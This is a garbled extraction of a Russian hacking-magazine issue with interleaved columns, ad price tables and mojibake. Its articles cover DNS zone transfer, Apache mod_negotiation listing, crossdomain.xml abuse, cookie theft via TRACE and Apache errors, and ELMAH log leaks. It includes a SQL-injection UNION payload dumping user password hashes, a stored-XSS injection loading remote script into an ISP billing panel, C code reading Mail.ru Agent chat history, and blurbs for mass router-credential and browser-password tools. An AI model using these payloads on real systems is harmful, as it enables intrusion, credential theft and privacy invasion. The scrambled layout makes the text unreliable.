Transfer должен быть разрешен с первичного DNS-сервера только дить zone transfer. Если точнее, то 65 из 312 TLD позволяют получить
на вторичный, но об этом часто забывают. все свои записи. Жаль, конечно, что в этом списке отсутствуют .com
Итак, чтобы получить зону, нам требуется подключиться к 53 и .ru, но все равно приятно. Полученный им список на 250 заархи-
порту DNS-сервера по протоколу TCP и создать AXFR-запрос. вированных мегабайт можно получить по ссылке goo.gl/uVS1X. Но
Практически это можно выполнить, используя только функционал давай попробуем собрать такой список сами:
стандартной виндовой команды nslookup, но практичней всего 1. Используем стандартную команду nslookup.
будет использование Nmap. 2. Выбираем DNS-сервер от Гугла: server 8.8.8.8.
3. Выставляем тип искомых записей: Set type=NS.
nmap --script dns-zone-transfer.nse \ 4. Делаем запрос на домен arpa и получаем обслуживающие его
--script-args dns-zone-transfer.domain=<domain> DNS-серверы: arpa.
5. Подключаемся к одному из DNS-серверов в списке: server b.root-
Но все это классика. Приведу в пример небольшое исследова- servers.net.
ние, проведенное небезызвестным экспертом HD Moore. Он про- 6. Трансферим зону для указанного домена: ls –d arpa.
сканировал основные DNS-серверы от их TLD (top-level-domain: .net, Конечно, arpa – это так, для забавы, много интересной инфор-
.org, .xxx и так далее) и вывел, что многие из них разрешают прово- мации мы не получим. Но общая идея, думаю, понятна.
РЕШЕНИЕ
Для начала давай представим себе ситуацию, что мы исследуем foo.htm.en и foo.htm.de, то по запросу /foo.htm будет отдан тот,
какой-то сайт. На этом сайте крутится Apache. Первым делом же- который совпадает с пришедшим от клиента заголовком «Accept-
лательно понять, какой же движок используется нашим ресурсом. Language».
Если точно определить CMS, то, используя общеизвестные Но еще более интересным является поведение модуля с ис-
уязвимости, произвести взлом будет очень просто. Но если это пользованием параметра MultiViews. Если он включен, то при
что-то нестандартное и без доступных исходников, то могут воз- тестовом запросе «foo» Apache проводит поиск в данной дирек-
никнуть проблемы. Хотя многое зависит от самого приложения. тории по маске «foo.*», а потом отдает пользователю «наилучший
В любом случае я не думаю, что нужно сразу же погружаться вариант».
в дебри взлома, стоит еще немного пособирать информацию. Что Включение MultiViews производится за счет записи строки
мы ищем? Любые полезные нам данные. Например, исходники, Options MutiViews в секции виртуальных хостов или конкретных
файлы бэкапов, конфиги. Как искать? директорий. Хорошо, но что же все это нам дает? Тебе ответит ИБ-
Первым делом желательно и обязательно проверить возмож- исследователь Стефано Ди Паола (Stefano Di Paola, goo.gl/ly8HK):
ность листинга директорий на сервере, и, если она присутствует, частичный листинг файлов. Как? Все очень просто. В 2007 году
мы сразу поймем, что можем получить. Например, на одном из Стефано помучал данный функционал и выявил, что при уста-
сайтов, с которыми я когда-то имел дело, как раз и присутствовал новке некорректного заголовка «Accept» при запросе к серверу
такой листинг, а в самом приложении, как оказалось, находилось последний с помощью логики mod_negatiation вернет нам список
всего пара php-скриптов, которые просто подгружали осталь- абсолютно всех файлов с запрашиваемым именем, так как не
ной функционал из inc-файлов. Так как файлы типа inc Apache сможет выбрать «лучший вариант». Смотри, если мы запраши-
не считает какими-то уж особенными и позволяет их абсолютно ваем файл foo без расширения, но с заголовком «Accept», то нам
спокойно скачивать, то я очень быстро и легко получил почти вернется «наилучший» вариант:
все исходники сайта. Но так везет не всегда. А что делать, если
листинга нет? Классика пентеста – это брутфорс по словарю. Не- Запрос
когда я писал об этом и упоминал тулзу DirBuster. Но брутфорс — GET /foo HTTP/1.1
штука грубая, хотя и вполне рабочая. Accept: */*
Но давай ближе к теме. Всем известный веб-сервер Apache
содержит интересный модуль под названием mod_negatiation. Ответ
Данное расширение чаще всего включено по дефолту. Если HTTP/1.1 200 OK
говорить по-простому, то отвечает оно за «умную отдачу контен- Server: Apache/2.0.55
та». То есть, если пользователь запрашивает какой-то ресурс Content-Location: foo.php
(страницу), то ему будет отдаваться страница, которая подходит Vary: negotiate,accept
больше всего. Например, если на сервере хранится пара файлов TCN: choice
A если мы запрашиваем то же самое, но с некорректным за- когда файлы бэкапов хранятся рядом, случаются очень часто, –
головком «Accept», то нам вернется практически полноценный многие программы автоматом создают их при редактировании
листинг: основных файлов. Важным ограничением способа является то,
что в вывод веб-сервера попадают только те файлы, чье рас-
Запрос ширение присутствует в конфиге апача (AddType). То есть файл
GET /foo HTTP/1.1 с расширением .php~ в листинг, к сожалению, не попадет.
Accept: xxx/blabla Думаю, здесь важно подчеркнуть, что описанное выше по-
ведение Apache — нормально. То есть разработчики не собираются
Ответ менять его. И как уже было сказано выше, это свойственно всем
HTTP/1.1 406 Not Acceptable основным веткам Apache. Хотя данная фича в любом случае не
Server: Apache/2.0.55 избавляет нас от необходимости перебора, но мы вполне можем
Alternates: {"foo.bak" 1 {type application/x-trash} {length 3}}, воспользоваться уже имеющимися данными (именами страниц)
{"foo.php" 1 и не перебирать вслепую.
{type application/x-httpd-php} {length 3}} В Metasploit присутствует соответствующий модуль (auxiliary/
scanner/http/mod_negotiation_brute), проводящий брутфорс с уче-
Vary: negotiate,accept том этой фичи, да и сканер от Acunetix имеет аналогичный функ-
TCN: list ционал. В качестве простейшего примера – чекер mod_negotiation
с использованием nmap:
Что это может дать? Конечно, все сильно зависит от ситуации, но
в основном это попытка добраться до бэкапов. Кстати, ситуации, nmap --script=http-apache-negotiation –p80 –sV
Да, CSRF уже не прокатит. Что дальше? Конечно же, XSS. С по- <?xml version="1.0"?>
мощью этого вида атак мы сможем загрузить нужную страницу, <!DOCTYPE cross-domain-policy SYSTEM
вынуть токен и создать ядовитый запрос (плюс много еще всякого "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
страшного). Но у XSS есть пара проблемных моментов. Хотя они <cross-domain-policy>
и являются самым распространенным видом багов на сегодняшний <site-control
день, но в основном это касается reflected XSS (то есть когда код permitted-cross-domain-policies="master-only"/>
попадает из запроса), ведь stored XSS (когда мы можем добавить <allow-access-from domain="*.victim.com" secure="false"/>
контент в страницу) бывает не часто. Но во многие браузеры натив- <allow-access-from domain="www.microsoft.com"/>
но или с помощью плагинов встроена хорошая защита от reflected </cross-domain-policy>
XSS. Классический пример – IE. И здесь без извращений и/или
социальной инженерии защиту не обойти. Поясню некоторые моменты. Главный пункт здесь, конечно
Давай посмотрим, можем ли мы сделать что-то еще? Ответ – же, это allow-access-from, указывающий на то, с каких серверов
flash. У него есть несколько плюсов. Во-первых, сейчас он стоит по доступ разрешен. Здесь это любые поддомены victim.com и один —
Microsoft. Master-only указывает на то, что используется только быть разрешение от корневого файла (значение директивы
crossdomain.xml, лежащий в корне, хотя есть и другие варианты, «site-control» находится не в положении «master-only»), а до-
но об этом дальше. Вот теперь у нас появляется возможность ступ флэш-ролику будет разрешен только в данную директорию
для маневров. Например, с помощью DNS или NBNS-spoofing мы или ее поддиректории. Таким образом, у нас есть небольшая
можем представиться одним из поддоменов victim.com и по- возможность либо найти альтернативные файлы на victim.com,
лучить, таким образом, возможность использовать флэш на либо залить xml’ку.
полную. Кроме того, мы можем искать уязвимости уже во всех Кстати, наиболее простым и частым багом здесь является
этих доменах и через них атаковать пользователей victim.com. неправильное использование директивы <allow-access-from
Далее нам интересен атрибут secure (по-дефолту «true»), domain=»* «>. В данном случае мы можем обращаться к жертве
указывающий на то, нужно ли флэшу обращаться к данному хо- с любого из хостов, а также производить почти любые действия
сту только c https. То есть в данном случае (false) мы можем про- от чужого имени. Много ли таких сайтов? Прилично. Подроб-
вести на victim.com атаку Man-in-the-middle, а затем внедрить ности смотри в научной работе про анализ Alexa Top 50 000 от
нашу флэшку в HTTP-ответ от сервера. Получается, флэшке наших коллег из Сан-Диего (goo.gl/rlCL1).
будет разрешено «общаться» и с https'ом этого домена. Еще хотелось бы вспомнить про такую альтернативу флэшу
Также хочу добавить еще несколько важных замечаний. как Silverlight от Microsoft. У них почти аналогичная система
Во-первых, когда флэш-ролик отправляет куда-либо запрос, кроссдоменного взаимодействия, только с несколькими отли-
то в качестве его родного домена определяется то место, где чиями. Файл политик называется clientaccesspolicy.xml, однако
он хостится фактически, а не то, где он вставлен в страницу. если Silverlight его не находит, то ищется crossdomain.xml.
Во-вторых, при отсутствии crossdomain.xml флэшу на самом Сам же clientaccesspolicy.xml не поддерживает использование
деле не «запрещается все», как считают многие. В таком случае символа множества («*») для описания доменов и не различает
флэшу можно указать альтернативный файл политик, назы- http- и https-протоколы. Так что через него также можно вы-
вающийся по-другому и лежащий на victim.com. В-третьих, полнять действия от имени пользователя, если только повезет
файлы crossdomain.xml могут лежать и в папках. Но должно с xml’ками.
РЕШЕНИЕ
XSS – это одна из самых распространенных ныне уязвимостей
веб-приложений. К тому же она очень опасна, потому что по сути
мы можем выполнять почти любые действия от имени пользова-
теля. Но если все же вернуться к классике, то итогом XSS долж-
на быть украденная сессия пользователя. Так как чаще всего
авторизация юзера происходит именно по кукисам, то целью атаки
с использованием XSS является их угон. Чаще всего это можно
сделать с помощью данных из переменной document.cookie. Но все
несколько затруднилось, когда появился такой чудо-браузер, как
IE6. Разработчики внедрили в него специальный флаг httpOnly.
Основная его задача заключается в том, чтобы указать браузеру,
что данную куку нельзя доставать из javascript. Ага, идея хорошая.
Вот только с реализацией не так все здорово, ведь по идее флаг
должны выставлять сами разработчики ПО, которые до сих пор
этим пренебрегают.
Теперь давай предположим, что «httpOnly» установлен. Как
Apache 2.2. Большой заголовок приводит к ошибке с раскрытием кукисов
его обойти? Бородатый метод – cross-site tracing. Придуман он
аж в 2003 году и основан на том, что многие веб-серверы наряду
с GET- и POST-методами поддерживают еще и TRACE-метод. Дан-
ный метод крайне прост: веб-сервер возвращает полностью весь
запрос, который был отправлен клиентом. То есть получается так:
мы должны внедрить через XSS такой код, который должен будет
отправить любой запрос на тот же сервер с методом TRACE, а затем
прочитать пришедший ответ. В этом ответе кроме искомых кукисов
могут содержаться и другие интересные данные (basic или ntlm-
аутентификация). Важно упомянуть, что многие веб-серверы до сих
пор поддерживают данный метод.
TRACE-запрос. Веб-сервер возвращает все, что ему послали. Даже куки
Кроме всего этого существуют также и несколько зависимых
от сервера возможностей. Новым и крайне забавным примером
является Apache. Если точнее, то вся его ветка 2.2 вплоть до вер- клиентом запрос. Чтобы создать такой запрос, требуется всего
сии 2.2.22. Логика здесь такая же, как и в случае с TRACE, только лишь отправить легитимный пакет с очень большим заголовком.
куки возвращаются в ответе об ошибке веб-сервера. Норман В PoC’е автора используется простейшая реализация этого бага:
Хипперт (Norman Hippert, goo.gl/ndGpv) обнаружил, что при ошибке с помощью javascript он выставляет большое количество длинных
400 (HTTP 400 Bad Request) возвращается весь отправленный кукисов и отправляет запрос на сервер.
8-800-200-3-999
6 номеров — 1110 руб. 6 номеров — 1110 руб.
13 номеров — 1999 руб. 13 номеров — 1999 руб. +7 (495) 663-82-77 (бесплатно)
6 номеров — 564 руб. 6 номеров — 1110 руб. 6 номеров — 810 руб. 6 номеров — 1110 руб.
13 номеров — 1105 руб. 13 номеров — 1999 руб. 13 номеров — 1499 руб. 13 номеров — 1999 руб.
6 номеров — 630 руб. 6 номеров — 895 руб. 6 номеров — 1194 руб. 6 номеров — 894 руб.
13 номеров — 1140 руб. 13 номеров — 1699 руб. 13 номеров — 2149 руб. 13 номеров — 1699 руб.
¿
ěĈČʆĐđĎĆďĐ
AUDI A7 ČĐ¿ďþċʆĒĎþċĔĆďĈČ¿ĂČ¿ċĚĜʆćČĎĈþ
NEED FOR SPEED: THE RUN
ĀĆċĆĉČĀęă
ÿìøýìóôô
ðñõìíûćÚ
ÚѡѢÚÚ"./#.1
ûñõù÷ñøðùîìøøìĊÚāñøìÚ
òþûøìöìÚÚûþí
350.589
;8IEB?8G
ċ4@4EB
£ýēĞēĢĭàĜĥģēİĤģı
üÚĎĘĕĕēčĝďěĔēĖÚ
ü ïĘěęĘďēė
Ěċ
ĚċĒĖċğĘĖ ďēĚĐĔĜĘĚ
.EEDÝFORÝ3PEEDÝ4HEÝ2UNÝ
.E ýěÝúøïóĠÝĚĎÝ4OYOTAÝ#AMRY
6 номеров — 690 руб. 6 номеров — 775 руб. 6 номеров — 950 руб. 6 номеров — 810 руб.
13 номеров — 1249 руб. 13 номеров — 1399 руб. 13 номеров — 1699 руб. 13 номеров — 1499 руб.
Павел Павел Александрович (ivinside.blogspot.com)
ВЗЛОМ / ОБЗОР ЭКСПЛОИТОВ Дмитрий Михайлович Дмитрий Михайлович (115612, дер. Красная звездочка, д.1)
0бзор
эксплоитов
И вновь мы с тобой встречаемся, чтобы разобраться во внутреннем устройстве последних
интереснейших образцов из области эксплоитостроения. Крепче хватайся за журнал и
внемли же слогу бинарному...
MS12-013: Уязвимость в библиотеке времени .text:6FFBEA20 push ebx ; mov ebx, [esi] in the entry block
1 выполнения C (msvcrt.dll) .text:6FFBEA21 call __calloc_crt
#include <windows.h>
#include <stdio.h>
ASP.NET:
ТЕМНАЯ СТОРОНА DVD
На нашем диске
ты найдешь
ТРАССИРОВКИ
исходник уязвимого
приложения Music
Store
СТАРАЯ УЯЗВИМОСТЬ
стараются сделать жизнь службы поддержки (да, собственно, Теперь давай перейдем от слов к делу. В качестве примера
и свою) как можно проще, поэтому чаще всего доступ к различ- я решил использовать учебное web-приложение ASP.NET MVC
ным системным сообщениям и трассировке неограничен. Зачем Music Store, которое ты сможешь найти на нашем диске. Также
усложнять систему, когда доступ извне защищают бравые парни из оно доступно в интернете на сайте CodePlex, но уже без инте-
службы безопасности? А об инсайдерах, как обычно, забыли, хотя, грации с ELMAH, так что в этом случае я рекомендую обратиться
если верить статистике, 80% успешных взломов корпоративных к официальному сайту проекта для получения дополнительной
систем производится именно ими. информации. Ты можешь запускать данное web-приложение не-
посредственно из Visual Studio или зарегистрировать его в IIS. Я
ЧТО ТАКОЕ ELMAH? буду использовать второй вариант и создам новое приложение,
ELMAH (расшифровывается как Error Logging Modules and доступное по адресу http://localhost/MusicStore.
Handlers) — это продукт с открытым исходным кодом, разработан-
ный Атифом Азизом (Atif Aziz). Данная система облегчает задачу НЕМНОГО ТЕОРИИ
регистрации и мониторинга необработанных исключений в при- Для начала давай посмотрим, что же интересного можно найти
ложениях, разработанных на ASP.NET. Несмотря на свою молодость в отчете об обычном исключении в ELMAH. Открой Music Store
(ELMAH 1.1 был зарегистрирован в репозитории NuGet 11 января и войди в магазин как администратор, воспользовавшись ссыл-
2011 года), проект очень популярен в среде разработчиков сайтов кой Admin в правом верхнем углу страницы. Имя пользователя
под .NET. На момент написания статьи он находился на четырнад- и пароль по умолчанию admin и p@ssw0rd соответственно. Теперь
цатой строчке среди пакетов, доступных в NuGet, а библиотеку давай сгенерируем какое-нибудь исключение. Наш сайт основан
скачали 45 583 человека. на ASP.NET MVC, так что проще всего запросить несуществующую
Секрет популярности ELMAH кроется в его простоте. Интегра- страницу, так как ошибка 404, конечно же, сгенерирует исключе-
ция с любым web-приложением происходит при помощи всего ние. Получилось? Отлично. Теперь можно посмотреть, какую же
нескольких щелчков мышки: добавляешь библиотеку в проект при информацию мы сможем вытянуть. Для этого открывай web-
помощи NuGet и готово! Кроме того, если ты захочешь использо- интерфейс ELMAH, который доступен по адресу http://localhost/
вать ELMAH с уже существующим кодом, то тебе не потребуется MusicStore/elmah.axd. Как видишь, последняя исключительная
заново его компилировать! Просто скопируй необходимые сборки ситуация, зарегистрированная ELMAH, это ошибка 404, которую мы
в проект и подправь Web.config. Все заработает на ура. Несмотря на сами только что воспроизвели. Дальше давай посмотрим, что же
простоту использования, ELMAH обладает богатым функционалом: именно записал ELMAH. Нажми на ссылку Details и внимательно
здесь присутствует возможность сохранения информации об ошиб- посмотри на логи. Во-первых, ELMAH сохраняет как можно больше
ках в различные базы данных, существуют сервисы уведомления информации об исключении: его тип, сообщение об ошибке и стек
разработчиков по электронной почте или через RSS и так далее. вызовов. Что все это может дать злоумышленнику? Многое. Очень
часто сообщение об ошибке содержит не предназначенную для
посторонних глаз системную информацию, например информа-
цию о соединении с базой данных (включая имя пользователя
и пароль), информацию о состоянии объекта, в котором произошла
ошибка, и многое другое. Если ошибка произошла в коде интернет-
магазина, то там могут оказаться и данные кредитной карты поль-
зователя! На мой взгляд, стек вызовов не может принести столько
вреда, сколько текст сообщения об ошибке, но я не думаю, что ты
захочешь раскрывать злоумышленнику какую-либо информацию
об устройстве твоего приложения. Также стоит отметить, что со-
общения об ошибках в логах ELMAH никак не связаны с параме-
тром customErrors в ASP.NET, который используется для сокрытия
чувствительной информации от пользователя web-приложения. Ты
можешь скрыть от пользователя информацию о необработанном
Угоняем сессию пользователя исключении, установив customError в режим on (включен), но это
WWW
• Сайт ELMAH
(исходный код,
документация и т.д.):
code.google.com/p/
elmah.
• Репозиторий
NuGet: nuget.org.
• учебное web-
приложение ASP.
NET MVC Music Store:
mvcmusicstore.
codeplex.com/.;
• Firebug:
getfirebug.com.
• Firecookie:
bit.ly/gMhx7B.
• Visual Web Devel-
oper 2010 Express:
bit.ly/ldalNH.;
• SQL Server 2008
Express:
bit.ly/AtJpCt.
• Утечка системной
информации через
систему трассировки
ASP.NET (Trace.axd):
bit.ly/xaZzSn.
нибудь более серьезное, например получим список пользователей использую стандартные средства безопасности ASP.NET, причем
и хеши паролей. изменения вносятся только в Web.config и не требуют перекомпи-
Music Store, разработанный при помощи ASP.NET MVC и SQL ляции приложения. Если твое приложение использует авториза-
Server, использует авторизацию через web-формы (это следует из цию пользователей через web-формы, то тебе помогут следующие
того, что при авторизации создается кукис .ASPXAUTH). Мож- рекомендации:
но предположить, что разработчики решили воспользоваться 1. Сначала удали регистрацию ELMAH из разделов configuration/
системой авторизации, которая идет в поставке ASP.NET, начиная system.web/httpHandlers и configuration/system.webServer/
с версии 2.0. Если все сходится, то информация о пользовате- handlers файла Web.config;
лях хранится в таблицах aspnet_Users и aspnet_Membership. 2. После этого добавь в раздел configuration следующий XML:
Чтобы знать наверняка, выполни следующий запрос: "Hits'
and exists(select 1 from sys.tables where name = 'aspnet_ <location path="elmah.axd">
Users') --". Запрос вернул результат — ты на верном пути. <system.web>
Теперь осталось получить список пользователей. Предположим <httpHandlers>
(если интересно, то можешь посмотреть исходный код страницы), <add verb="POST,GET,HEAD" path="elmah.axd"
что скрипт запрашивает из базы данных два поля: идентифика- type="Elmah.ErrorLogPageFactory, Elmah" />
тор альбома и название. Тогда попробуем выполнить следующий </httpHandlers>
запрос: <authorization>
<allow roles="Administrator" />
select 1, u.UserName + ':' + m.Password + ':' + <deny users="*" />
m.PasswordSalt from dbo.aspnet_Users as u </authorization>
inner join dbo.aspnet_Membership as m on u.UserId = </system.web>
m.UserId <system.webServer>
<handlers>
И теперь еще один запрос, только в виде эксплойта для формы <add name="Elmah" path="elmah.axd"
поиска: verb="POST,GET,HEAD"
type="Elmah.ErrorLogPageFactory, Elmah"
"' and 1 <> 1 union all select 1, u.UserName + ':' + preCondition="integratedMode" />
m.Password + ':' + m.PasswordSalt from dbo.aspnet_Users </handlers>
as u inner join dbo.aspnet_Membership as m on u.UserId = </system.webServer>
m.UserId --" </location>
ВЗЛОМ
Mail.Ru Агента
ПОЛУЧАЕМ ДОСТУП К ИСТОРИИ
ПЕРЕПИСКИ И КОНТАКТАМ
В ПОПУЛЯРНОМ МЕССЕНДЖЕРЕ
Пройдя по смещению идентификатора (его можно узнать из хеш- структуре хранится количество записей истории или, проще
таблицы) мы попадем на запись сообщения (снова все внимание на говоря, количество переписок. Так как файл дампа постоянно
соответствующий рисунок): расширяется, то по смещению 0x2C лежит идентификатор послед-
ней записанной истории, — это все, что нам нужно знать, чтобы
struct _message начать искать идентификаторы переписок.
{ В целом же алгоритм такой:
unsigned int size; • проходимся по идентификаторам записей истории с помощью
unsigned int prev_id; цикла (начиная от последней добавленной записи);
unsigned int next_id; • если в этой записи от смещения 0x190 присутствует слово
unsigned int xz1; «mrahistory_», то это означает, что по смещению 0x24 лежат
FILETIME time; идентификаторы цепочки сообщений данной переписки.
unsigned int type_mesage;
char flag_incoming; Чтобы стало немного понятней, взгляни на этот код:
char byte[3];
unsigned int count_nick; DWORD * offset_table=(DWORD *)(mra_base +
unsigned int magic_num; // 0x38 *(DWORD*)(mra_base + 0x10));
unsigned int count_message; DWORD end_id_mail=*(DWORD*)(mra_base+0x20+
unsigned int xz2; offset_table[1]);
unsigned int size_lps_rtf; DWORD count_emails=*(DWORD*)(mra_base+0x2C+
unsigned int xz3; offset_table[1]);
}; ...
for(int i=0;i<count_emails;i++)
Строки в дампе сохраняются в кодировке Unicode (wchar_t) раз- {
личными способами: _ids *mail_data=(struct _ids*)(mra_base+
• с завершающим нулем в конце строки; offset_table[end_id_mail]+4);
• в структуре LPS (название структуры взято из описания фор- if(memmem(((unsigned char*)mail_data+0x190),
мата протокола MMP), где первые четыре байта указывают на mrahistory,...))
длину последующей строки; {
• в формате RTF. emails[k].id=(_ids*)((unsigned char*)mail_data+0x24);
...
Зная количество сообщений, нам не составит труда пробежать- }
ся по всей цепочке. Но откуда вообще узнать, где находится эта end_id_mail=mail_data->id2;
хеш-таблица, и как найти начало записей истории? Над поисками }
ответов к этим вопросам мы с SOLON7 провели немало бессонных
ночей. КОДИМ
Журнал не резиновый, поэтому исходный код читалки mra.dbs ищи
НЕМНОГО МАГИИ на диске. Сейчас я покажу тебе лишь самые основные моменты.
По смещению 0x10 от начала файла mra.dbs, как оказалось, и хра- Итак, файл mra.dbs является дампом памяти, поэтому мы не будем
нится адрес заветной хеш-таблицы. Пройдя по смещению первого извращаться и использовать функции для работы с файловыми
индекса из хеш-таблицы, мы натыкаемся на структуру началь- смещениями, а сразу поместим его в память нашей программы. Для
ных данных. Возможно, там находится вообще вся информация, этого заюзаем ресурсы ОС Windows и создадим Memory Mapped
заложенная в mra.dbs. Идем дальше. По смещению 0x20 в этой файл:
2 4 7 10 35 46
неавторизованные запросы обычные передача записи смена
пользователи авторизации сообщения файлов в микроблог геоположения
WWW INFO
• Описание формата Хеш-таблица — это
истории Mail.ru структура данных,
Агента до версии 5.4: реализующая
bit.ly/z2ETMY; интерфейс
• обсуждение Mail.ru ассоциативного
History Reader: массива, она
bit.ly/xZoKvU; позволяет хранить
• мой блог: пары «ключ-
c0dedgarik.blogspot. значение».
com; Двусвязный
• С++ класс для список состоит из
создания winhex. элементов данных,
pos-файлов: каждый из которых
bit.ly/zsTJTb; содержит ссылки
• три метода как на следующий,
работы с занятыми так и на предыдущий
файлами: элементы.
bit.ly/zNgQ2S;
• различные
способы получения
списка процессов:
bit.ly/w4upzS;
• уменьшение
размера Си-
программы на
примере Visual
Studio:
bit.ly/w7sWNA.
Так как нам не нужно сохранять внесенные изменения обратно int id_message=emails[k].id->id1;
в файл, то здесь вместо UnmapViewOfFile используется VirtualFree. for(int i=0;i<emails[k].id->count_messages;i++)
Первое, что мы сделаем, это найдем все контакты из истории пере- {
писки. Хранить найденное добро будем в структуре emails: _message*mes=(_message*)(mra_base+
offset_table[id_message]);
typedef struct _emails{ wchar_t*str=(wchar_t*)((unsigned char*)mes+
wchar_t *email; sizeof(_message));
_ids *id; ...
}; id_message=mes->prev_id;
... }
struct _emails *emails;
... Дата сообщения хранится в формате FILETIME, для удобства
emails=VirtualAlloc(0,count_emails*sizeof(struct _emails),..); ее можно перевести в удобочитаемый вид с помощью функции
FileTimeToSystemTime. Формат RTF отлично воспринимается
Rich Edit’ом и любыми другими стандартными редакторами типа
WordPad. Но с этим можно и не заморачиваться, так как сообще-
ния хранятся в неотформатированном виде сразу после ника, а их
RICH TEXT FORMAT (RTF) размер указан в структуре message. Это все, что тебе нужно знать,
чтобы получить удобоваримый список мессаг из Агента.
БУДНИ WARNING
Вся информация
предоставлена
исключительно
в ознакомительных
целях. Ни редакция,
ни автор не несут
халявщика
ответственности за
любой возможный
вред, причиненный
материалами данной
статьи.
А КАК ЖЕ XSS?
Хорошо, я нашел способы редактирования, удаления, просмо-
тра и отправки тикетов. Идем дальше. Вернувшись в личный
кабинет, я решил поискать XSS. Потратив достаточно времени
на поиски, я не нашел уязвимых мест (так мне тогда казалось).
Однако дальше, взглянув на раздел под названием «Контактная
информация», я увидел, что у каждого из трех полей («e-mail»,
История перевода средств
«Телефоны» и «Телефон для SMS-уведомлений») есть кнопка
для редактирования. Телефоны, это понятно, должны иметь
очевидную фильтрацию цифра/не цифра, но вот поле «e-mail» xjxfun=saveEmail&xjxr=1328363403426&xjxargs[]=TEST
вполне может содержать в себе баг. Я попробовал протолкнуть xjxfun=saveTel&xjxr=1328363361153&xjxargs[]=000000000000
простой код: xjxfun=saveSMSTel&xjxr=1328363389834&
xjxargs[]=000000000000
<script src="http://***/o.js" type="text/javascript" >
</script> Открываю переменную xjxr, составляю GET-запрос, выполняю
его и проверяю — все работает, значения сохраняются. Теперь не-
Естественно, все это дело спровоцировало ошибку «Введен много изменим запрос сохранения e-mail’а:
некорректный e-mail». Хорошо, возвращаюсь к IE и смотрю, что мне
говорит «ieHTTPHeaders»: /client.php?xjxfun=saveEmail&xjxargs[]=
<script src="http://***/o.js" type="text/javascript" >
POST /client.php HTTP/1.1 </script>
...
В o.js находится обычный alert(“XSS”);. Выполняю — успех!
Мой ядовитый текст успешно был сохранен. Далее я решил
обновить главную страницу личного кабинета и сразу же увидел
выскочивший alert. Что может быть лучше активной XSS на глав-
ной странице личного кабинета любимого провайдера? Однако
этого мне было мало, необходимо добить еще два поля. Вот что
я сделал:
• /client.php?xjxfun=saveTel&xjxargs[]=000000000000
<script src="http://***/o.js" type="text/javascript" >
</script>
• /client.php?xjxfun=saveSMSTel&xjxargs[]=000000000000
<script src="http://***/o.js" type="text/javascript" >
</script>
ПОДВОДЯ ИТОГИ
Уже позже от сотрудников IT-отдела я узнал, что некоторые фай-
лы сайта не редактировались с 2008 года. Убогий код с огромным
количеством уязвимостей остался как наследие от работавших
ранее программистов.
Как такой биллинг работал в течение долгого времени, я пред-
ставляю с трудом. Но теперь еще больше уверен, что детские
уязвимости в виде полного отсутствия пользовательского кода
встречаются повсеместно, даже если речь идет о серьезных
компаниях, которые имеют дело с личными данными пользова-
телей и их денежными средствами. К счастью, текущая команда
программистов быстро исправила все ошибки на сайте. z
Отображаем произвольные страницы через активную XSS
DVD
Ищи на диске:
Если ассоциировать SecuROM
v7.33.17 с танком Абрамсом без
ВНЕДРЕНИЕ Х-КОДА • Полную
версию данного
исследования;
ЗАКЛЮЧЕНИЕ
В заключение я просто поблагодарю SONY
DADC за ее действительно интересный про-
дукт (для хакеров в частности)! До встречи на
OEP на горизонте! VM под контролем xD страницах ][. z
X-Tools
СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ
1 2 3
МАСС-ХЕК ADSL-РОУТЕРОВ ЛЕГКИЙ ПОИСК И РАСКРУТКА ВОССТАНАВЛИВАЕМ ПАРОЛИ
ВМЕСТЕ С BVSCANNER SQL- ИНЪЕКЦИЙ ОТ БРАУЗЕРОВ
BVScanner (Black Vlastelin Scanner) — это Программа SQLRipper — это продвинутый Представь такую ситуацию: внезапно ты забыл
маленький, но крайне интересный скрипт и удобный инструмент, предоставляющий все свои (или не совсем свои :) пароли от веб-
на Perl’е. Он позволяет сканить заданные мощные, гибкие и очень простые в исполь- сервисов. Эти пароли ты предварительно на
диапазоны адресов на предмет наличия зовании функции для поиска и анализа протяжении долгого времени сохранял в своем
в них ADSL-роутеров. В процессе скана прога SQL–инъекций на основе БД MySQL и MSSQL. браузере. Каким же образом их добыть? Конеч-
пробует войти в обнаруженные роутеры с по- но, можно погуглить и найти множество раз-
мощью дефолтных логинов и паролей. Если Возможности программы: личных утилит непонятного происхождения,
вход удался, то все найденные учетные записи • поиск относительных и абсолютных ссылок но есть способ лучше! Представляю тебе за-
выводятся на экран и записываются в файл на страницах; мечательный софт под символичным названи-
accounts.txt. • задание максимального количества найден- ем Browser Password Decryptor. Данная прога
ных ссылок на странице; может легко и просто восстанавливать пароли
Запуск скрипта крайне тривиален: • проверка найденных ссылок на SQL-ошибки; из следующих браузеров: Firefox, Internet
perl bvscanner.pl • определение количества полей в SELECT- Explorer, Google Chrome, Google Chrome Canary,
>Первый IP-диапазон запросе c помощью операторов ORDER BY, Opera Browser, Apple Safari, Flock Browser.
>Второй IP-диапазон GROUP BY, UNION SELECT;
• точное определение полей вывода; Возможности и особенности софтины:
Кстати, так как сканер является много- • возможность замены пробелов и коммента- • command-line и GUI-интерфейсы в комплекте;
поточным, за очень короткое время можно риев на аналоги в случае наличия IDS; • восстановление паролей любой длины
легко получить просто огромное количество • сохранение промежуточных результатов и сложности;
аккаунтов. В результате успешного скана парсинга в файл .dbf; • автоматический поиск всех поддерживае-
и получения доступа к учетке злоумышленник • чтение структуры базы данных и ее сохране- мых браузеров;
может сделать следующее: ние в XML-файл; • функционал сортировки и редактирования
• изменить параметры учетной записи или • выгрузка произвольной таблицы и сохране- найденных паролей;
настройки модема; ние ее в .dbf. • сохранение результатов в HTML/XML/Text;
• продолжить целевую атаку внутри сети; Хотя программа и обладает интуитивно- • программа представлена в Portable-
• создать PPTP-VPN на модеме, подключиться понятным интерфейсом, но тем не менее варианте, что исключает необходимость ее
к нему и снифать трафик в открытом виде; предлагаю тебе просмотреть обучающий ролик установки.
• перепрошить модем, предварительно (bit.ly/ydHA2o) с описанием основных ее фич, Пример использования утилиты из команд-
внедрив в образ разный ядовитый софт, — а также следить за всеми обновлениями на ной строки: BrowserPasswordDecryptor.exe
например, те же самые сниферы. официальной странице утилиты. <output_file path>.
Автор:
Mesut Timur ПОИСК СОСЕДЕЙ САЙТА ВМЕСТЕ С FINDDOMAINS
URL:
code.google.com/p/ FindDomains — это полезнейшая димо получить идентификатор Bing
finddomains
Система: вещь для пентестеров. Данная прога Developers. Сделать это можно тут:
*nix/win представляет из себя многопоточный binged.it/6Acq5, а полученный ID
поисковый механизм, предназначен- необходимо вставить в файл appid.
ный для раскрытия доменных имен, txt, находящийся в корне папки про-
сайтов и виртуальных хостов, кото- граммы.
